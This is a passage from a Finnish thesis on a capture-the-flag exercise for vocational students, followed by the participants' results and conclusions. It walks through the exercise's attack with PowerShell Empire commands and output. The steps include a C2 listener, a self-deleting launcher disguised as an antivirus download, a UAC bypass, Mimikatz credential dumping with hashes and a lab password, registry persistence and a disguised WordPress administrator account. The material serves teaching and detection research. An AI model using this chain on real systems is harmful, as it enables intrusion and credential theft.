Kyseisella virtuaalikoneella oli tarkoitus toteuttaa tehtavapisteet kohdennetun hyok-

kayksen avulla. Virtuaalikoneelle asetettiin 2048MB muistiraja. Kohdennetussa hyok-

kdyksessa kaytettiin PowerShell Empire-ohjelmistoa luomaan C2-palvelin ja C2-agen-

tit. Virtuaalikoneella toimi myo6s verkkosivut, jonka kautta uhri lataa skenaarion mu-

kaisen troijalaisen.
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Kohdennettu hydkkays aloitettiin valmistelemalla C2-palvelin. Palvelimen kuuntelijan
eli vastaanottimen protokollaksi asetettiin HTTP. Kuuntelija asetettiin toimimaan IP-
osoitteessa 10.10.10.2 portissa 80. Samalla kuuntelijan ja agentin valisten pakettien
kommunikointiprofiiliin (DefaultProfile) lisattiin ensimmainen lippu (ks. kuvio 20). Ky-

seinen lippu on tarkoitus huomata analysoimalla verkkoliikennetta.

(Empire: listeners) = info http

http Options:

Name Required Value Description

StagerURI False URI for the stager. Must use /
download/. Example: /download/stager.php

ProxyCreds False default Proxy credentials ([domain\]us
ername:password) to use for request (default, none, or other)

KillDate False Date for the listener to exit
(MM/dd/yyyy) .

Name True http Name for the listener.

Launcher True powershell -noP -sta -w 1 -enc Launcher string.

DefaultProfile True /flagdl/908765210l.php|Mozilla/5 Default communication profile

for the agent.
.0 (Windows NT 6.1; WOW64;
Trident/7.0;rv:11.0) like Gecko

DefaultLostLimit True 60 Number of missed checkins befo
re exiting

Host True http://10.10.10.2:80 Hostname/IP for staging.

Port True 80 Port for the listener.

WorkingHours False Hours for the agent to operate

(09:00-17:00).

CertPath False Certificate path for https lis
teners.

Defaultlitter True 0.0 Jitter in agent reachback inte
rval (0.0-1.0).

SlackChannel False #general The Slack channel or DM that n
otifications will be sent to.

BindIP True 10.10.10.2 The IP to bind to on the contr
ol server.

UserAgent False default User-agent string te use for t
he staging request (default, none, or other).

StagingKey True 7b24afc8bc80e548d66c4e7ff72171c5 Staging key for initial agent
negotiation.

DefaultDelay True B Agent delay/reach back interva
1 (in seconds).

SlackToken False Your SlackBot API token to com
municate with your Slack instance.

ServerVersion True Microsoft-IIS/7.5 Server header for the control
server.

Proxy False default Proxy to use for request (defa

ult, none, or other).

(Empire: listeners) >

Kuvio 20. C2-kuuntelija

Valmisteluiden jalkeen luotiin varsinainen haittaohjelma eli agentti, jonka tarkoituk-
sena on avata kommunikointiyhteys uhrin koneen ja C2-palvelimen vilille. Haittaoh-
jelman luomisen yhteydessa pystyi valitsemaan mahdolliset valityspalvelimet, mutta
tassa yhteydessa ei kaytetty erillisid valityspalvelimia. Pakollisena valintana on kuun-

telija. Kuuntelijaksi valittiin kuviossa 20 pohjustettu HTTP-kuuntelija (ks. kuvio 21).
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(Empire: stager/windows/launcher_bat) = info

Name: BAT Launcher

Description:
Generates a self-deleting .bat launcher for
Empire.
Dptions:
Name Required Value Description
Listener True http Listener to generate stager for.
OutFile False /tmp/launcher.bat File to output .bat launcher to,
otherwise displayed on the screen.
Obfuscate False False Switch. Obfuscate the launcher
powershell code, uses the
ObfuscateCommand for obfuscation types.
For powershell only.
ObfuscateCommand False TokenyAl1141,Launcher\STDIN++%12467The Invoke-0Obfuscation comman
to use.
Only used if Obfuscate switch is True.
For powershell only.
Language True powershell Language of the stager to generate.
ProxyCreds False default Proxy credentials
([domainyJusername:password) to use for
request (default, none, or other).
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
Proxy False default Proxy to use for request (default, none,
or other).
Delete False True Switch. Delete .bat after running.
StagerRetries False 0 Times for the stager to retry
connecting.

(Empire: stager/windows/launcher_bat) > execute

Kuvio 21. Haittaohjelman luonti

Haittaohjelman luomisen jalkeen C2-palvelimelle pystytettiin verkkosivut, joiden
kautta uhri tulisi lataamaan kyseisen haittaohjelman. Haittaohjelma nimettiin uudel-
leen ja siirrettiin verkkosivuille, seka luotiin linkki osoittamaan kyseiseen tiedostoon

ja varmistettiin verkkosivujen toimivuus (ks. kuvio 22).
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Install antivirus X | +

< => C @ ® 10.10.10.2:443 - @
S Kali Linux “ Kali Training “e Kali Tools ‘% Kali Docs “e Kali Forums ‘S NetHunter [ Offensive Security

Install antivirus

UCDIdl!
DOWNLOAD NOW

The Best Free Antivirus Software.
DOWNLOAD

Opening Installer.bat x

You have chosen to open:
" Installer.bat

whichis: BAT file (4.7 KB)
from: http://10.10.10.2:443

What should Firefox do with this file?

Openwith | Browse..

(*)Save File

root@kali: ftmp e 6 O
aa MNidytd Etsi Paddte Ohje
# mv launcher.bat /var/www/html/Installer.bat
# nano Jvar/www/html/1i html
¢ systemctl restart apache2.service

Tiedosto Muokk

Kuvio 22. C2-palvelimen verkkosivut

Seuraavassa vaiheessa hyokkaysta kohdeyrityksen sisaverkosta uhri lataa haittaohjel-
man ja suorittaa sen. Uhrin suorittaessa haittaohjelman, haittaohjelma poistaa it-
sensa ja avaa komentoyhteyden hyokkaajan palvelimelle. Ensimmainen avautuva yh-
teys paljastaa muun muassa kyseisen tydaseman nimen ja IP-osoitteen ja kayttaja-
tunnuksen, jolla haittaohjelma on suoritettu. Haittaohjelma valitsee itselleen po-
wershell-prosessin satunnaisesti valikoiduilla prosessinumerolla. High_integrity pal-
jastaa onko hyokkaaja saanut jarjestelmdnvalvojan oikeudet kyseiseen tydasemaan,

mikali tulos on 0 jarjestelménvalvojan oikeuksia ei ole saavutettu vielad (ks. kuvio 23).



(Empire: stagér!windoﬁsllauncher_hat) > agents

[*] Active agents:
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working hours
session_key
children
checkin_time
hostname

id

delay
username
kill_date
parent
process_name
listener
process_id
profile

os_details
lost limit
taskings

name

language
external _ip
session_id
lastseen_time

Name La Internal IP Machine Name Username Process PID
Delay Last Seen
GRTAEBHN ps 192.168.0.23 WORKSTATION-2 YRITYSX\pliimatta powershell 3332
5/0.0 2020-02-19 16:04:33
(Empire: agents) > interact GRTAE8BHN
(Empire: GRTAESHN) = info
[*] Agent info:
nonce 1222908598105049
jitter 0.0
servers None
internal_ip 192.168.0.23

:"Nji[185A9 2MO%{zgrKu7EVCwo051.
None

2020-02-19 16:04:23
WORKSTATION-2

1

5

YRITYSX\pliimatta

None

powershell

http

3332
/Tlagel/90876521ol.php|Mozilla/5.0 (Windows NT 6.1; WOW64;
Trident/7.0;rv:11.0) like Gecko
Microsoft Windows 7 Ultimate

60

None

GRTAESHN

powershell

10.10.10.1

GRTAESHN

2020-02-19 16:05:04

language_version 2
high_integrity (0]

(Empire: GRTAEBHN) >

Kuvio 23. Yhteys luotu uhrin tydasemaan

Jarjestelmanvalvojan oikeuksien puuttuessa voidaan yrittdaa saada ne kayttéon ohit-

tamalla kayttajatilien valvonta eli UAC (User Account Control). Kayttajatilien valvon-

nan alkuperdisena tavoitteena oli parantaa tietoturvaa rajoittamalla ohjelmistojen

toimintaa. Kyseistd ominaisuutta voidaan myds vaarinkayttaa ja silla voidaan ohittaa

kayttajatileille asetettuja rajoituksia. Kuviossa 24 on esitetty kayttajatilien valvonnan

ohitus, jonka jalkeen alkuperdinen agentti luo uuden agentin, jolla on jarjestelman-

valvojan oikeudet.



(Empire: GRThEBHN} > bypassuac http
[#*] Tasked GRTAES8HN to runm TASK_CMD_JOB
[#*] Agent GRTAESHN tasked with task ID 1

[*] Tasked agent GRTAESHN to run module powershell/privesc/bypassuac_eventvwr

(Empire: GRTAESB8HN) > [*] Agent GRTAEBHN returned results.

Job started: BTU3WG

[*] valid results returned by 10.10.10.1

[*] Sending POWERSHELL stager (stage 1) to 10.10.10.1

[*] New agent 5MXSA146 checked in

[+] Initial agent 5MXSA146 from 10.10.10.1 now active (Slack)
[*] Sending agent (stage 2) to 5MXS5A146 at 10.10.10.1

(Empire: GRTAES8HN) > agents
[*] Active agents:

Name La Internal IP Machine Name Username
Delay Last Seen

GRTAEBHN ps 192.168.0.23 WORKSTATION-2 YRITYSX\pliimatta
5/0.0 2020-02-19 16:07:27
5MXSA146 ps 192.168.0.23 WORKSTATION-2 *YRITYSX\pliimatta

5/0.0 2020-02-19 16:07:27

(Empire: agents) > |]

Process

powershell

powershell

43

PID

3332

2980

Kuvio 24. Jarjestelmanvalvojan oikeuksien saaminen

Jarjestelmanvalvojan oikeuksien saamisen jalkeen myo6s tunnustenkalastelusta tulee

helpompaa laajempien oikeuksien vuoksi. Tunnustelunkalastelun avulla myoés mah-

dollisesta brute-force hyokkayksesta voi tulla helpompaa, jos kayttdja sattuu kaytta-

maan samaa salasanaa useassa eri paikassa. PoweShell Empire-ohjelmiston mukana

tulee valmiina tunnustenkalasteluun sopiva lisdosa, Mimikatz (ks. kuvio 25). Mimikatz

keraa jarjestelmasta kaikenlaisia kirjautumistietoja ja palauttaa ne sitten hyokkaajalle

(ks. kuvio 26).
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(Empire: 5MXSA146) > mimikatz

[*] Tasked 5MXSA146 to run TASK_CMD_ JOB

[*] Agent 5MXSA146 tasked with task ID 1

[#*] Tasked agent 5MXSA146 to run module powershell/credentials/mimikatz/logonpasswords
(Empire: 5MXSA146) > [*] Agent 5MXSA146 returned results.

Job started: AH5586

[*] Vvalid results returned by 10.10.10.1

[*] Agent 5MXSA146 returned results.

Hostname: Workstation-2.yritysx.net / S5-1-5-21-4252475531-1125702568-4177972488

BB mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00
JHE T ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )

#E N S B > http://blog.gentilkiwi.com/mimikatz
" v #E Vincent LE TOUX { vincent.letoux@gmail.com )
\BRERR = http://pingcastle.com / http://mysmartlogon.com g

mimikatz (powershell) # sekurlsa::logonpasswords

Authentication Id : © ; 145216 (00000000:00023740)

Session : Interactive from 1

User Name : pliimatta

Domain : YRITYSX

Logon Server : WIN-SERV-DC

Logon Time : 16.2.2020 15:04:35

SID : 5-1-5-21-4252475531-1125702568-4177972488-1127
msv :

[opEBROOO3] Primary
* Username : pliimatta

Kuvio 25. Mimikatz lisdosa

(Empire: 5MXSA146) > creds

Credentials:

CredID CredType Domain UserName Host Password

1 hash yritysx.net pliimatta Workstation-2 a54721b2475caed
d71ae2b88496b36e8

2 hash yritysx.net WORKSTATION-2% Workstation-2 50d43695aa09031
24f949c7d7118badl

3 plaintext yritysx.net pliimatta Workstation-2 kurkikujalz23!

(Empire: S5MXSAl146) =

Kuvio 26. Tunnustenkalastelulla saadut kirjautumistiedot

Onnistuneen tunnustenkalastelun jalkeen, oli tarkoitus asettaa uhrin jarjestelmiin py-
syva jalansija ja varmistaa paasy jarjestelmiin myos jatkossa. PowerShell Empiressa
tdmakin ominaisuus on valmiiksi implementoitu. PowerShell Empiren yhdelld moduu-
lilla pystytdaan luomaan Windows kayttojarjestelmiin rekisterimerkinta, jonka avulla
haittaohjelma suorittaa itsensa aina uudestaan sisaankirjautumisen yhteydessa. Re-

kisterimerkinta on kuitenkin helppo huomata, jos tietda mista etsia. Haittaohjelma
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piilottaa rekisterimerkinndn Windowsin kdynnistyksen yhteydessa suoritettavien oh-
jelmien rekisteriin. Kyseisen rekisterimerkinnan yhteyteen lisattiin lippu 2 (ks. kuvio

27). Liitteessa 3 kohdassa 9 on esitetty rekisterimerkinnan sijainti uhrin tydasemalla.

Options:

Name Required Value Description

Listener False http Listener to use.

ProxyCreds False default Proxy credentials
([domainy]username:password) to use for
request (default, none, or other}.

KeyName True Installer Key name for the run trigger.

RegPath False HKLM: SOFTWARE\Microsofty Registry location to store the script
Windows\CurrentVersion\D code. Last element is the key name.
ebug\flage2\6543278asd

Proxy False default Proxy to use for request (default, none,
or other).

ExtFile False Use an external file for the payload
instead of a stager.

UserAgent False default User-agent string to use for the staging
request (default, none, or other).

Cleanup False Switch. Cleanup the trigger and any
script from specified location.

ADSPath False Alternate-data-stream location to store
the script code.

Agent True SMXSA146 Agent to run module on.

(Empire: powershell/persistence/elevated/registry) > execute

[>] Module is not opsec safe, run? [y/N] y

[#*] Tasked 5MXSA146 to run TASK_CMD_WAIT

[*] Agent 5MXSA146 tasked with task ID 3

[*] Tasked agent 5MXSA146 to run module powershell/persistence/elevated/registry

(Empire: powershell/persistence/elevated/registry) > [*] Agent 5MXSA146 returned results.
Registry persistence established using listener http stored in HKLM:SOFTWARE\Microsoft\Windows\
CurrentVersion\Debug\flag®2\6543278asd.

[*] Valid results returned by 10.106.10.1

Kuvio 27. Rekisterimerkinnan teko ja lippu 2

Kohdennetun hyokkayksen viimeisena vaiheena oli pyrkia murtautumaan yrityksen
verkkosivuille. Tunnustenkalastelun avulla saatujen tietojen avulla pystyttiin murta-
maan kayttajan pliimatta tunnukset ja kirjautumaan niilla sisdan yrityksen verkkosi-
vuille. Liitteessa 3 kohdassa 6 pystytdaan havainnoimaan yrityksen puolelta, kuinka ky-
seinen ilmid ndakyy WordPressiin asennetussa audit-plugin lisdosassa. Kayttajatun-
nuksen murtamisen jalkeen pyrittiin myos asettamaan pysyva jalansija yrityksen
verkkosivuille. Jalansija toteutettiin luomalla uusi kdyttaja WordPressiin ja pyrkimalla
naamioimaan tdma muiden kayttadjien sekaan. Kayttajan naamiointi toteutettiin luo-

malla ldhes saman niminen kayttdja WordPressiin (ks. kuvio 28). Kayttdjan luomisen
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jalkeen sen kuvaukseen lisattiin lippu 3 (ks. kuvio 29). Kolmannen lipun tarkoituksena
on saada kilpailija huomaamaan hydkkaajan saaneen jalansijan myos WordPress-

kayttoliittymasta.

B A WA EE e T E A fer St e v T T e R TR e Ty -

Install antivirus X | AddNew User « Yritys Xinke X | +

G C ® @ & 192.168.99.10/wordpress/wp-admin/user-new.php - 9 I
S Kali Linux ‘% Kali Training " Kali Tools " KaliDocs "% Kali Forums “ NetHunter [l Offensive Security

Howdy, Pinj3

Bl Add New User
Create a brand new user and add them to this site.

» . .
Username (required) | tliimatta |

0] | J

]

L. ] .
Email (required) | tliimatta@badguy.net |

» | J

F First Name | Tinja |

‘I - "

. Last Name | Liimatta |

- L J
Website | |

| J

o : T
Password l Hacked123] J

Medium

Send User Notification Send the new user an email about their account.

Role | Administrator 'I
Add New User

Kuvio 28. Uuden kayttdjan luominen wordpressiin
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@A vritys Xen kotisivut I 4 New View User Howdy, administrator
&*
@ Nickname (required) | tlimatta
Display name publicly as | Tinja Liimatta v
%

a Contact Info

[ ]

Email (required) | tlimatta@badguy.net |
)\v
[ 4 Website | |

-
y2 About the user

Biographical Info flag03 5769823htp

P

Share a little biographical information to fill out your profile. This may be shown publicly.

Kuvio 29. Lippu 3:n sijoitus

6 Tutkimustulokset

6.1 Tietoturvahaasteeseen osallistuneiden taustat

Tietoturvahaasteen oli tarkoitus olla osana Taitaja2020-tapahtumaa. Maailmanlaajui-
sen pandemian vuoksi tapahtuma kuitenkin peruttiin. Tapahtumassa oli tarkoitus ke-
rata aineistoa Taitaja2020-tapahtumaan osallistuvilta kilpailijoilta. Peruuntuneen ta-
pahtuman vuoksi jarjestettiin pieni suunniteltua kohderyhmaa vastaava uusi kohde-
ryhma yhteistydssa Gradian kanssa. Tutkimusaineisto koostui kahdesta kohderyh-
maan kuuluvasta henkilosta ja yhdesta testihenkilGista. Testihenkild oli neljannen

vuoden AMK-opiskelija.

Testihenkilon perusteella ohjelmistojen kdyttoohjeet huomattiin puutteellisiksi, joten
ohjeita paivitettiin varsinaisia kilpailijoita varten. Ohjelmistojen kdyttoohjeita selkiy-

tettiin lisaamalla lisavaiheita (ks. Liite 5). Oikeat vastaukset tietoturvahaasteeseen
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kaytiin kilpailijoiden kanssa lapi tietoturvahaasteen jadlkeen, jotta kilpailijat hyotyisi-
vat harjoituksesta enemman. Tietoturvahaasteeseen osallistuneet kilpailijat olivat

kolmannen vuoden tieto- ja tietoliikennetekniikan perustutkinnon opiskelijoita.

6.2 Kilpailijoiden pisteet

Maksimipistemaara tietoturvahaasteesta oli viisitoista pistetta. Kilpailijoiden piste-

keskiarvo harjoituksessa oli 5,5 ja mediaani kilpailijoiden keskuudessa oli 1. Parhaim-

man tuloksen harjoituksessa sai testihenkilona toiminut osanottaja (ks. kuvio 30).

Osanottajien pisteet
14,5

e el ol e
OCOoORrRrNWDRWUM

5,5

Pistemaara

1 1 1

Testihenkilo Kilpailija 1 Kilpailija 2 Keskiarvo Mediaani

OFRLr NWDRULIONO®

Kuvio 30. Kilpailijoiden pisteet

Kilpailijoiden keskim&arainen suoritusaika harjoituksessa oli 154 minuuttia. Nopein
suoritusaika harjoituksessa oli testihenkil6lld ajassa 102 minuuttia. Suunniteltua koh-
deryhmaa edustaneet kilpailijat 1 ja 2 molemmat kayttivat kaiken sallitun ajan eli 180

minuuttia. Ndin ollen mediaaniksi muodostui 180 minuuttia (ks. kuvio 31).
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Osanottajien suoritusaika

210

180 180
180
154
150
102

Testihenkil® Kilpailija 1 Kilpailija 2 Keskiarvo Mediaani

180

Suoritusaika (minuttia)
=
[e))] (o) N
o o o

w
o

o

Kuvio 31. Kilpailijoiden suoritusajat

6.3 Palautekyselyn tulokset

Kilpailijoilta kerattiin myos palautetta kyselyn muodossa tietoturvahaasteeseen liit-
tyen. Palautekysely on liitteessa 6 ja palautekyselyn tulokset liitteessa 7. Liitteen 7
kohdassa 2 on esitetty palautekyselyyn vastanneiden arvioinnit tehtavan vaikeuteen
liittyen. Tietoturvahaaste koettiin vaikeaksi. Kohderyhmaan kuuluneet kilpailijat koki-
vat haasteen joko vaikeaksi tai liilan vaikeaksi. Testihenkilén mielesta tehtava oli
haastavuudeltaan sopiva. Tehtdva koettiin kiinnostavana. Tietoturvahaasteen ske-

naario oli palautteen mukaan luotu hyvin ja realistinen (ks. liite 7 kohta 3).

Kohderyhmaan kuuluneet kilpailijat kokivat tietoturvahaasteen parantaneen heidan
kasitystaan tietoturvahaasteessa esiintyneiden tietoturvapoikkeamien suhteen. Tes-
tihenkilolle kyseiset ilmiot olivat jo entuudestaan tuttuja. Testihenkilo kuitenkin koki
saaneensa paremman kdasityksen haittaohjelmien pysyvyyden suhteen (ks. liite 7

kohta 4).

Kilpailijat kokivat harjoituksessa kaytettyjen tyokalujen eli ohjelmistojen kayton kes-

kimaarin sopivan haastavaksi. Yksi kilpailijoista koki tyokalujen kayton vaikeaksi, kun
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taas toinen kohderyhmaéan kuuluvista koki sen helpohkoksi. Testihenkilé koki tydka-
lujen kayton sopivaksi (ks. liite 7 kohta 5). Tydkalut olivat entuudestaan tuntematto-
mia kaikille (ks. liite 7 kohta 6). Tietoturvahaasteen suorittaneista henkil6ista vain
testihenkilona toiminut AMK-opiskelija koki saaneen riittavasti koulutusta tietotur-
van suhteen koulussa. Varsinaiseen kohderyhmaan kuuluneet kilpailijat kokivat tieto-

turvakoulutuksen riittamattomaksi koulussa (ks. liite 7 kohta 7).

Kaikki tietoturvahaasteen suorittaneet henkil6t kokivat virtuaaliympariston teknisen
toteutuksen vastaavan koulussa opetettuja asioita (ks. liite 7 kohta 8). Kilpailija 1 koki
ettei pystyisi luomaan tietoturvahaasteen tapahtumista karkeaa aikajanaa. Kilpailija 2
ja testihenkilo puolestaan kokivat kykenevansa muodostamaan tapahtumista kar-

kean aikajanan (ks. liite 7 kohta 9).

7 Johtopaatokset

Mika on kilpailijoiden taso havainnoida tietoturvapoikkeamia suljetussa ymparis-
tossa?

Tietoturvahaasteeseen osallistuneet kilpailijat eivat juurikaan onnistuneet havaitse-
maan haasteessa olleita tietoturvapoikkeamia. Testihenkilona toiminut AMK-
opiskelija kykeni havaitsemaan selkedsti paremmin haasteessa ilmenneet tietoturva-
poikkeamat. AMK-opiskelijan ja ammattiin opiskelevien valilla on selkeasti paljon
eroa. Tutkimuksen otanta on kuitenkin liian pieni, jotta tutkimuksen tuloksesta voi-
taisiin varmistua. AMK-opiskelijoiden ja ammattiin opiskelevien valinen osaamisen
ero on todenndkdisesti kuitenkin huomattavasti pienempi suuremmalla otannalla.
Kilpailijoiden kyky havaita tietoturvapoikkeamia riippuu kuitenkin kilpailijan osaami-

sesta.

Vuonna 2015 tehdyssa tutkimuksessa osoittautui, ettd aiemmin hankitulla tiedolla on
merkitystd. Tutkimukseen osallistuneilla henkil6illd, jotka onnistuivat havaitsemaan
ilmidt paremmin ja tulkitsemaan ne oikein, omasivat jo entuudestaan osaamista tie-
toturvasta. Tutkimuksessa myos huomattiin, ettd kokeneemmat osasivat myos tun-

nistaa erilaiset hyokkaystyypit. (Ben-Asher & Gonzalez 2015.)
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Toimiiko CTF-harjoitus kiinnostavana tapana tutustua ja tutkia tietoturvapoik-
keamia ja parantavatko ne kasitysta tietoturvapoikkeamista?
Tietoturvahaaste kuitenkin koettiin kiinnostavaksi ja haastavaksi tavaksi lahestya tie-
toturvailmioita. Tama tulos vahvistaa aiemmista tutkimuksista saatua tulosta, jonka
mukaan tietoturvahaasteet koettaisiin kiinnostaviksi ja haastaviksi (Chothia & Nova-
kovic 2015.). Osa tietoturvahaasteen haasteellisuudesta johtuu haasteessa kayte-
tyista ohjelmistoista. Kaikille osallistuneille tietoturvahaasteessa olleet ohjelmistot
olivat vieraita ja jokseenkin vaikeita kayttdaa. Mikali ohjelmistot olisivat olleet entuu-
destaan tuttuja kohderyhmaan kuuluville, olisivat heidan tuloksensa luultavasti olleet
parempia. Kilpailijat kuitenkin kokivat tietoturvahaasteen parantaneen heidan kasi-
tystaan tietoturvasta. Myos AMK-opiskelija koki tietoturvahaasteen parantaneen ka-
sitysta tietoturvapoikkeamista. Tietoturvahaasteiden koetaan siis parantavan kasi-

tysta tietoturvailmioista.

Myds vuonna 2017 tehdyssa tutkimuksessa huomattiin, etta tietoturvahaasteet lisaa-
vat osallistujien osaamista. Tutkimuksessa myds huomattiin, etta tietoturvahaasteet
lisasivat itseluottamista omaan osaamiseen. Tutkimuksessa korkeakouluopiskelijoille
tehtiin kysely ennen tietoturvaharjoitusta ja sen jalkeen. (Leune & Petrilli 2017.) Toi-
sessa vuonna 2017 tehdyssa tutkimuksessa, tietoturvahaasteiden koettiin myos kas-
vattavan tietoisuutta, osaamista, seka itseluottamusta tietoturvan suhteen. Tutki-
muksessa tutkittiin lukiolaisten osaamista teoriatasolla ja tutustuttamalla tutkittavat

tietoturvan perusasioihin. (Brown, Ford, Haynes & Siraj 2017.)

Kykenevatko kilpailijat asettamaan harjoituksen tapahtumat aikajarjestykseen?
Tutkimuksen kohderyhmaan kuuluvista kilpailijoista toinen koki pystyvansa muodos-
taa tietoturvahaasteen tapahtumista aikajanan. Asiasta ei kuitenkaan voida varmis-
tua, silla palautekyselyssa olevan kysymyksen (ks. liite 6 kohta 8) tarkoituksena oli
saada karkea aikajana tapahtumista. Kysymys on kuitenkin vastaajien puolella vaarin-
ymmarretty ja vastaajat eivat ole kuvailleet tapahtumien aikajanaa. Myos testihenki-
I6na toiminut AMK-opiskelija vastasi ymmartaneensa tapahtumien aikajanan, mutta
ei myoskaan kuvaillut vastauksessaan tietoturvahaasteen tapahtumia. Tuloksista ei

voida siis varmistua ymmarsivatko he oikeasti tapahtumien aikajanaa.
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Aikajanan luominen tapahtumista on kriittinen osa tutkintaa, kun halutaan ymmartaa
mita jarjestelmassa oikein tapahtui (Adderley 2019.). Kilpailijoiden luomien aika-
janojen perusteella olisi pystytty tarkemmin arvioimaan kilpailijoiden ymmarrysta tie-
toturvailmioista. Aikajanat olisivat myds paljastaneet mahdolliset vaarat tulkinnat tie-

toturvahaasteen tapahtumista.

Kokevatko kilpailijat tietoturvaopetuksen koulussa riittavaksi?

Ammattiin opiskelevat kokivat tietoturvaopetuksen olevan riittamatonta, kun taas
testihenkilona toiminut AMK-opiskelija koki sen riittavaksi. Koulutuksen maaralla ja
tasolla siis oli selkeasti vaikutusta osaamiseen. AMK-opiskelija parjasikin tietoturva-
haasteessa selvdsti paremmin kuin suunniteltuun kohderyhmaan kuuluneet kilpaili-
jat. Koulutuksella voikin olla vaikutusta osaamisen lisaksi myos itseluottamuksen suh-
teen. Tietoturvahaasteiden onkin koettu parantavan kilpailijoiden itseluottamusta ja

osaamista tietoturvaosaamisensuhteen (Brown, Ford, Haynes & Siraj 2017.).

Erddssa artikkelissa olikin tutkittu tietoturvaosaamisen syvyyden ja laajuuden eroa.
Artikkelissa huomattiin, kuinka erdaassa tutkimuksessa oli havaittu, etta syventavan
koulutuksen saaneet opiskelijat parjasivat paremmin kuin opiskelijat, jotka olivat saa-
neet koulutusta monesta eri aihealueesta lukiossa. Artikkelissa myos todettiin, etta
opiskelijat, joilla oli jo entuudestaan tietoturvaosaamista, saivat parempia harjoitte-

lupaikkoja. (Manson & Pike 2014, 51-52.)

8 Pohdinta

Aihe oli haastava asetetun nakékulman ja uutuutensa vuoksi. Tietoturvahaasteista
I6ytyy jonkin verran tutkimuksia, mutta harvat tutkimukset on suunniteltu tietoturva-
poikkeamien havainnoinnin kannalta. Suurin osa tietopohjasta kasitteleekin tietotur-
vahaasteiden hyodyllisyytta yleiselld tasolla. Myodskaan tietoturvahaasteiden suunnit-
telusta 16ytyva artikkeleita ja tietolahteita oli vaikea 16ytaa olemalla [ahdekriittinen.
Tietoturvahaasteen suunnitteleminen ammattikoululaisille oli myds haastavaa ope-

tussuunnitelman vahaisten tietoturvavaatimuksien vuoksi. Tutkimus onkin toteutettu
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kehittamistutkimuksena soveltaen seka laadullisen, ettd maarallisen tutkimuksen kei-
noja. Tyon tutkimusmenetelmaksi valittiin kehittamistutkimus, koska kehittamistutki-
muksen katsottiin soveltuvan parhaiten tutkimusongelman ratkaisemiseen. Kehitta-
mistutkimuksella ratkaistiin tutkimuksen kaytannon ongelma eli kuinka tietoturva-
haasteeseen sopiva virtuaaliymparisto pystyttiin toteuttamaan. Kun kaytannon on-

gelma tutkimuksessa oli ratkaistu, pystyttiin varsinainen tutkimus toteuttamaan.

Tyon tavoitteena oli luoda haastava tietoturvahaaste ammattiin opiskeleville nuorille,
joka vastaisi rakenteeltaan ammattiin opiskelevien opetussuunnitelmassa esitettyja
osaamisvaatimuksia. Tydn tavoitteena oli my0ds selvittdd ammattiin opiskelevien
nuorten tasoa havaita tietoturvapoikkeamia suljetussa ymparistdssa. Ammattiin opis-
kelevat ei juurikaan onnistuneet havaitsemaan tietoturvahaasteissa esiintyneita tie-
toturvapoikkeamia. Kilpailijat kuitenkin kokivat tietoturvahaasteessa kaytettyjen tyo-
kalujen kayton vaikeaksi, mika saattaa osaltaan selittdd ammattiin opiskelevien alhai-
set pisteet. Toisaalta myos AMK-opiskelijalle tyokalut olivat entuudestaan vieraita,
mutta testihenkilona toiminut AMK-opiskelija kuitenkin onnistui havaitsemaan kaikki

ymparistossa vallinneet tietoturvapoikkeamat.

Ty6n suunnittelussa pyrittiin sovittamaan ammattikoululaisten opetussuunnitel-
massa olevat vahaiset tietoturvavaatimukset mahdollisimman hyvin tietoturvahaas-
teeseen. My0s ajankohtaisia tietoturvailmioita sovitettiin tietoturvahaasteeseen. Tie-
toturvahaaste myds suunniteltiin mahdollisimman helposti |ahestyttavaksi, jotta
osallistujat eivat kokisi harjoitusta ylitsepdasemattéoman vaikeaksi ja luovuttaisi sen
takia. Tyon suunnittelussa on onnistuttu hyvin, silla virtuaaliympariston infrastruk-
tuurin koettiin vastaavan kilpailijoiden koulussa oppimia asioita. Harjoitus toteutet-
tiin mahdollisimman realistisella tavalla eli tietoturvahaasteen toteutuksessa kaytet-
tiin hyokkaavaa osapuolta, joka aiheuttaa tietoturvapoikkeaman hydkkayksellaan

kohdeyritykseen.

Tutkimuksen aineistonkeruu oli aikaa vievaa. Yhden testikerran jarjestamiseen kului
aikaa keskimaarin kahdeksan tuntia. Virtuaaliympariston kdayttamiseen vaadittavat
resurssit rajoittivat myos testaamista. Haasteelliseksi osoittautui 16ytaa aineistonke-

ruuhun sopivat tilat, jossa tyoasemissa olisi tarpeeksi resursseja. Aineistonkeruussa
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kadytettiin JAMKin tiloja. Koronaviruspandemian aikaan JAMKin tilojen kayttoa oli
myo0s rajoitettu kuuteen henkiléon tilaa kohden, joten yksittdisen testikerran otannat
jaivat rajoitusten vuoksi pieniksi. Gradian kanssa yhteistyossa toteutettuun testiker-
taan ei myoskaan ilmestynyt sovittua viitta kilpailijaa. Sovituista kilpailijoista vain
kaksi saapui tilaisuuteen. Tutkimuksessa keratty aineisto on tdman vuoksi hyvin sup-
pea. Ottaen huomioon tutkimusaikana olleet rajoitukset kokoontumisten suhteen,

laajan aineiston keraaminen olisi vienyt useita kuukausia.

Tutkimustulosten luotettavuuden arviointi onkin haasteellista, silla kehittamistutki-
mus ei ole yksittainen tutkimusmetodi. Kehittamistutkimus kostuu tarvittaessa maa-
rallisesta ja laadullisesta tutkimuksesta koostuva metodi, jolla ratkaistaan tutkimus-
kohteen ongelma. Kehittamistutkimuksen luotettavuutta arvioidaan siina kaytettyjen
tutkimusmetodien arviointikriteerien perusteella. Tutkimustulosten pitaa olla pysyvia
eli tutkimustulokset eivat saa muuttua uusintamittauksen jalkeen. (Kananen 2015,
111—112.) Tutkimuksen tuloksia ei voida pitaa kovin merkittavina, mutta niita voi-
daan pitaa suuntaa antavina. Tutkimuksen otos on liian pieni, jotta sen avulla voitai-
siin yleistaa ammattiin opiskelevien kykyja havaita tietoturvapoikkeamia suljetussa
ymparistossa. Tuloksia voitaisiin kuitenkin hyddyntdaa ammattikoululaisten osaamisen
kartoituksessa ja muokata kurssien sisaltdja enemman tietoturvapainotteisiksi. Tutki-
muksen tulokset kuitenkin vahvistavat aikaisemmissa tutkimuksissa saatuja tutkimus-
tuloksia, joiden mukaan tietoturvahaasteet koetaan kiinnostaviksi, mutta haastaviksi

tavoiksi lahestya tietoturvaa.

Lopputuloksena tutkimustyosta saatiin virtuaaliymparisto, jossa voidaan harjoitella
tietoturvapoikkeamien havainnointia, tutkimusdataa tietoturvahaasteen suoritta-
neilta henkil6ilta, seka tarkan dokumentoinnin tietoturvahaasteen suunnittelusta.
